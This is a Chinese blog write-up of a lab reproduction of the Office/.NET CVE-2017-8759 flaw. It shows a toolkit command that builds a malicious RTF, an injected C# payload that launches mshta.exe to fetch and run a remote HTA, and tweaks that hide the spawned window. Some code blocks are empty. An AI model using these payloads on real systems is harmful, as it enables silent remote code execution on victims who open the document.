# Office CVE-2017-8759 复现 漏洞原理移步 [安全客](https://www.anquanke.com/post/id/86833). 环境 Windows7, Office 2010. ## 复现过程 [bhdresh/CVE-2017-8759](https://github.com/bhdresh/CVE-2017-8759) 搭建服务器, 创建 exploit.txt 并更改 URL. ``` ``` 同目录下创建 cmd.hta. ``` ``` 生成文档. ``` cve-2017-8759_toolkit.py -M gen -w test.rtf -u http://192.168.1.1:8000/exploit.txt ``` 打开文档. ![](https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801222637.png) 复现成功, 命令只执行了一次, 但这里会先闪一下 hta 的窗口. 最开始复现的时候我有两个问题: 1. 为什么要通过 hta 执行 2. 为什么不能直接在 exploit.txt 中一次执行成功而非要用 hta. ## 改进载荷 关于第一个问题, 请看代码. ``` ``` 拼接在源文件中是这样的. ``` ...... public Image() { base.ConfigureProxy(this.GetType(), @"http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta"); //base.ConfigureProxy(this.GetType(),@"; if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) { System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]); System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true); } //"); } ...... ``` 原理中也提到了, 这是 .Net 一处拼接错误而导致的代码执行漏洞, 也就是说理论上我们能够执行任意代码. 而 xml 中的 location, 通过 ? 被分割成三个部分, 然后提取第二部分作为执行文件, 第三部分作为命令参数. 所以这个其实跟空格没有半点关系, 完全就是为了方便通过 ? 截取到命令和参数两个部分, 而第一个部分只是针对 .Net 的验证罢了, 只要符合 URL 规范就行. 之所以在这里要费劲心思截取 url 是因为 xml 语法的问题, 但 C# 的单引号只表示单个字符. 关于第二个问题, 为什么要通过 hta 执行? 如果说是针对低版本系统例如 2003, 那么其实还有很多种选择, 比如 regsvr32, regsvcs, 甚至你也可以直接通过下载 exe 来执行, 但这里访问的 hta 里执行的命令是 powershell, 那么为什么不直接一步到位呢? 前面说了, 这是代码执行漏洞, 理论上我们能够执行任意代码, 同样, 通过 Process.Start 启动的进程理论上也可以是任意文件, 比如. ``` ``` 这样是能够执行成功的, 但如果换成 powershell 呢? ``` ``` 执行失败了. 我们仔细想想这两行代码之间有什么区别, 前者的命令参数是 /c, 后者的命令参数是 -c. 推测是 - 这个字符导致命令执行不成功的, 下面就要引入一个新姿势了. ``` powershell.exe /c calc.exe ``` 这是可以成功的, 适用于大部分参数. 加上一点其它东西, 那么代码就可以改成. ``` ``` 执行成功. 不过你会发现 powershell 窗口还是会一闪而过, 即使我们指定了 /w hidden, 怎么办呢? 基于 C# 的特性, 我们可以通过 System.Diagnostics.Process.StartInfo 创建一个进程并将窗口设置为 hidden, 就像这样. ``` p.FileName = _url.Split('?')[1]; p.Arguments = _url.Split('?')[2]; p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; System.Diagnostics.Process.Start(p); ``` 重新打开文档, 将会自动弹出计算器而不是先显示一遍窗口 :) ## 一些话 在写下这篇文章的时候又测试了一遍, 发现 -c 其实是可以执行成功的, 但通过带宏文档复现的时候确实是执行失败了, 只能通过 /c 方式绕过, 不过使用宏这种方式利用已经是很鸡肋的了, 还有很多比这更简单的方法. 上文中原来的 Payload 其实就是将行为和特征分离, 不过过程对我来说也算是一种尝试吧. 另外对于 rtf 的其它细节在之前的文章中已经讲过, 就不再重复说明了.